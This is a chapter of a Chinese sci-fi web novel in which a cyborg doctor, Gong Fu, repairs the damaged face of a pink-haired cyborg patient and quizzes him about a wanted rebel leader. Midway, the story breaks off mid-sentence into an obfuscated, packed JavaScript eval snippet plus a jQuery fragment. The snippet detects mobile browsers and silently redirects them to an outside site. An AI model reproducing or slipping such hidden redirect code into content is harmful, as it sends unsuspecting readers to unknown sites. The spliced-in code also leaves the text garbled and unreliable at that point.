天王星区永远多雨，如冰雹般的大雨敲打在防爆玻璃上，哗啦啦的雨水如蛇般在窗户上蜿蜒地爬行。今天诊所没有生意，因为暴雨的同时容易引发雷暴，小诊所开业之初就遭遇雷暴，被劈掉了半个屋顶，那一幕现在还深深纂刻在宫芙的心里。


    新闻声音嘈杂，大概是天气不好的缘故，信号也是断断续续：“昨夜‘空白’袭击最树集团分部03号工厂……P.C部出现重大失职……达芬奇再次逃跑……下落不明……”


    宫芙坐在办公桌后看着这则新闻，一脸愕然的表情，韦尔奇被抓的消息他们得到了吗，如果得到了的话，‘空白’不去解救韦尔奇，反而转手袭击最树集团的工厂，目的是什么？


    转而，宫芙想到，如果‘空白’想要解救韦尔奇，第一重要的就是扩充自己的军队，几十个叛逃的电子人组织怎么和强大的人类军队相比，人类军队能调动的可是千千万万个电子人，甚至只要联邦允许，开放知识序列基因库，创造出一支全能电子人军队不在话下。


    这时，“叮——”地一声门口的提醒装置响起，代表有人冒雨来访，宫芙从虚拟光屏上挪开眼，走到门口处，就见一个佩戴着E.M部标志的雨衣人站在门外，似木头般任由雨水冲刷，并礼貌问：


    “请问是宫芙小姐吗？你在E.M部申请的电子人修补材料到了，请在这里签个字。”


    他出示证件并从随身口袋里掏出一个电子本，翻到空白页数递到宫芙的跟前，宫芙就用智端在电子本上扫了一下，烙下一串整齐的编码。


    这个编码是人类与电子人都有的签署凭证，在这个科技过分发达的世界，文字、指纹都成了漏网的筛子，只有这个由政府颁发的编码跟私人智端绑定，很难被别人盗用。


    核对完了她的身份，E.M派件员从双栖摩托的车箱里拿出了一个裹得严严实实的快递，给宫芙递了过去，宫芙知道这层塑料薄膜下裹着的是E.M部专门用来装电子人材料的钛晶盒，这个特殊的金属盒子能保持东西长时间不腐，用完了还会被回收回去。


    打开盒子，一片柔软的仿真皮肤组织躺在其中，大概直径10cm左右，安静的散发着如脂般的光泽，宫芙取用镊子，将这片仿真皮肤夹了起来，借着临窗的自然光线仔细观察，确认无破损无污染无变质可以用于手术，才重新把仿真皮肤组织放回到盒子之中。


    然后，她给粉毛患者发去邮件，通知他可以提前来过做手术，消息前脚刚发出去，后脚她就得到了粉毛患者的答复。


    一只粉色的猫咪爪印在信息栏不安分的跳动，来自@艾声：【宫医生，一个小时有空吗，如果有空我现在就出发。】


    宫芙回复@艾声：【做好防雨防雷措施，途中发生意外概不负责。】


    来自@艾声：【好的，宫医生。】


    宫芙看了一眼自己的安排表，原本不下雨的话2点钟左右会有人类患者过来修理义眼，4点钟左右会有电子人患者过来植发，但这么大的雨除了这个过于看重颜值的恋爱脑粉毛，恐怕没有人愿意过来了。


    一个小时后，患者准时到达，依然穿着上次那身灰色的风衣，搭配着格子条纹围巾，戴着猫咪纹的口罩，他一身淋过雨的阴湿气息，走哪儿哪儿是水珠，就连漂亮的白瞳也似被吹了气的玻璃珠，蒙着一层薄薄的水雾，看上去颇有几分潮湿。


    这大概是电子人的共性，哪怕眼珠子和人类的再像，也不过是一个雕刻成球的晶体填充在眼窝，有雾的天气会让电子人感到困扰，所以每个电子人都有一个红点扫描系统。


    不过当粉毛患者一只手插在风衣口袋里，抬起另一只手热情地跟她打招呼，白瞳里流转着波光粼粼的笑意时，那雾气瞬间被抹了个干净，只显现出熠熠发亮的彩虹色虹膜光晕：


    “下午好，宫医生。”


    “下午好，请坐。”


    宫芙感觉诊所里的气氛好像变得活泼了一点。


    说完，粉毛患者迈开步子向宫芙走了过去，自然地坐在了宫芙的对面，摘下猫咪口罩，露出自己未经修补破损严重的脸来。


    不知道是不是错觉，宫芙感觉他的伤势比上次见到的还要糟糕，不仅是原本的伤口直径面积加大，产生了更多的裂纹，就连其他部位的皮肤组织都失去了活性，干涸得像是脸上糊着掉粉的墙皮。


    另外，破洞的伤口底下露出银黑色交杂的电路，电路的表面覆盖着一层薄薄的水珠，几根重要的电线在进水的作用下，已经失去了它原有的光泽。


    宫芙很难想象一个电子人能把自己搞成这样，不由蹙眉冷声质问：“怎么把自己弄成这样？”


    粉毛患者摸了一下自己的伤口，表情顿时变得有几分苦恼，“主人很忙，最近都没空给我保养，我没找到保护剂在哪儿……宫医生，你真的能修好我的脸吗？如果修不好的话，我可能只能去E.C部了，但E.C部的费用很贵，主人他可能不会答应。”


    宫芙面无表情地在心里骂了一声“人渣”。


    她知道喜新厌旧是人的劣根性，也知道有钱人拥有很多别人没有的特权，比如豢养多个电子人，但她仍为对方的无情和吝啬感到恼怒，所有为宫家效力过的仆人哪怕工作的年份再少也很少被抛弃，并非宫家多么有善心，关乎贵族的体面和廉耻罢了，这个粉毛的主人的道德水平实在过于低下。


    “即便他有了新宠，你也是他花重金购买的电子人不是吗，他为什么会这样？”


    粉毛患者眼神一黯，“我的主人供养了不止我一个电子人，其实我在想主人是不是厌烦了我，想要把我送到E.R部才会这样，毕竟电子人税实在贵得吓人，主人他可能不想再多出这笔支出，当然也有可能是主人太忙了，所以才没有时间给我保养……”顿了顿，他扬起一抹坚强的笑容，“就算修不好也没有关系，宫医生，反正我的年限也快到期了……”


    宫芙神色阴翳，“我没说修不好。”


    “啊？”粉毛患者愣愣地微张嘴巴看着她，然后很是欣喜地站起身来鞠了一躬，“那就拜托宫医生了。”


    宫芙表情淡淡地招呼他，“过来。”


    诊所里是有手术室的，虽然很少启用，宫芙作为专业的电子医生，在开诊所之初就让琉司给她买了全套的设备。进到手术室，锃亮的仪器在天花板的顶光下折射出冰冷的光芒，粉毛患者亦步亦趋地跟着宫芙，宫芙让他去手术床上躺下，自己则翻出抽屉里的防电手套戴上。


    皮肤修复是个精细活儿，这一下午也不知道能不能修完，宫芙扭过仪器的探照灯，照在粉毛患者的脸上，粉毛患者迅速闭起了眼，白色的睫毛和眼皮剧烈的抖动，整个人莫名极度紧张起来。


    “放松。”


    宫芙在他上方说。


    粉毛患者睁开眼，坐了起来，抬手挡住探照灯，用苍白的语气笑了笑：“对不起宫医生，之前就诊都有我的主人陪我，这是我第一次一个人躺在手术台上。”


    宫芙眉头一拧，盯着他的眼神阴恻恻。


    粉毛患者露出些许不好意思的表情。


    紧接着，他的眼前一黑，浑身僵麻，强大的电击在他的身体里流窜，他忍不住睁大眼，不可置信地看着宫芙，倒下去的瞬间，他看到了宫芙手里还在闪动着电花的电击棒、宫芙把电击棒贴在他腰侧时稳得颤也不颤的手、以及宫芙电击他时平静的脸色……


    她无情吐槽了一句，“麻烦。”


    粉毛患者彻底昏了过去。


    ……


    滴答。


    滴答。


    墙壁上的钟针在缓慢转动。


    患者从手术床上醒了过来。


    患者踏出手术室，就见漂亮的电子人医生坐在办公桌后看新闻播报，虚拟光屏的画面就像是旧古董雪花电视，掉帧掉得厉害，天王星区的公民娱乐方式很有限，看新闻勉强算是其中一种，如果想要好一点的画质或者


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543933|171121||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看好一点的节目，必须要先开通58888包季的会员，一般普通公民的手上并没有这么多闲钱。


    隐约可见，电视上的画面是土星C区的灾后现场，专业的人类新闻报导员娓娓说：“土星C区飓风群受难者目前已完全搜救出……三个月后各大星区将重新竞选星长……现任星长是否有希望继任呢……持续为您报导……”


    电子人医生双手托着下巴，看得昏昏欲睡。


    患者没有打扰，默默地观看了一会儿，很快电子医生发现了他，淡淡回过头看他，患者只好走了出去，笑着跟电子人医生打招呼：“宫医生。”


    宫芙瞥了一眼粉毛患者的脸，指了指墙角的方向，“那里有镜子，想看可以看一下，没有问题的话把手术费交了，八万星币整，谢谢惠顾。”


    粉毛患者循着宫芙的指引，走到墙角的全身镜前打量自己，他的皮肤已经完好如初，像是从来没有破损一样，服服帖帖的黏在脸上，那糟糕得失去活性的濒临脱落的其他皮肤组织也因宫芙不知道给他涂了什么牌子的保护膜剂，变得光滑如新，如新鲜的脂冻般Q弹。


    这是一场完美的手术，宫芙的医术比他想象中的还要厉害。


    粉毛患者摸了摸脸，转头冲宫芙感激一笑，“多亏有你，宫医生。”


    宫芙突然问：“你听说过达芬奇吗？就是那个‘空白组织’的首领，单人身价高达两百亿悬赏金的罪犯。”


    粉毛患者“咦”地惊讶道：“宫医生也对达芬奇先生感兴趣？”


    宫芙淡淡道：“你应该问，有谁对达芬奇不感兴趣，两百亿的悬赏金哪怕拿到十分之一的分红，也能在这个世界过上好日子吧，不是吗？”


    “的确。”粉毛患者憧憬地说，“如果我能够帮主人拿到两百亿的悬赏金，就不用担心被送去E.R部了，还能帮主人减轻很多生活上的负担……不过，达芬奇先生那么厉害，应该不会轻易露面，宫医生是有关于达芬奇先生的线索吗？”


    “没有。”


    宫芙只是觉得他的受伤状态很像叛逃电子人的状态，林嘉明确说过最树集团叛逃的电子人没有主人保养，会出现各种各样的病症，皮肤脱落应该是其中之一。


    粉毛患者抚额惋惜，“那真是太可惜了，我还在想达芬奇先生是个什么样的人呢，有可能每天穿着黑色的皮衣，打着黑色的耳钉，有酗酒的习惯也不一定……”


    宫芙观察着他的表情，什么异常也没看出来，还是觉得这个粉毛被家暴受伤的概率来得高一点，毕竟很难想象一个只懂得恋爱的电子人会跑去跟达芬奇一起炸电子人初代研发工厂不是吗？


    宫芙甚至懂一点心理学，很轻易就从粉毛喋喋不休的话里推测出，“你是在说你的主人吗？我想达芬奇跟你的主人应该不一样。”


    ——典型的心理投射行为。


    粉毛患者一默，“我的主人确实有酗酒的习惯，好吧……宫医生，我完全不了解有关达芬奇的事情，可能帮不了你。”


    宫芙只是随便聊聊，没有指望能有什么收获，屈指敲了敲桌面，“手术费八万星币，记得交一下，还有下周有空再来一趟。”


    “诶？”


    “我想，你应该不想带着一身破溃的伤口变成排骨电子人吧？很抱歉，手术的时候不小心扯开你的围巾，看到你脖子以下的伤，如果我是你，我会向E.C部举报你的主人。”


    这回，粉毛患者是真的无言了，望着宫芙半天都没有说话，宫芙不动脑筋想也知道他大概觉得委屈，但是死也不会举报自己的主人，所以她只是屈指一推，将一个金属圆罐推到了他的跟前，继续说：


    “这个保护膜剂拿去，可以舒缓几天。”


    粉毛患者面露赧然之色，将表壳写着“电子人油剂”的圆罐紧紧抓在掌心里，白瞳里却绽放出一抹流光溢彩，对宫芙道：“谢谢宫医生，我叫艾声，爱慕的艾，声音的声，下周一我一定准时过来。”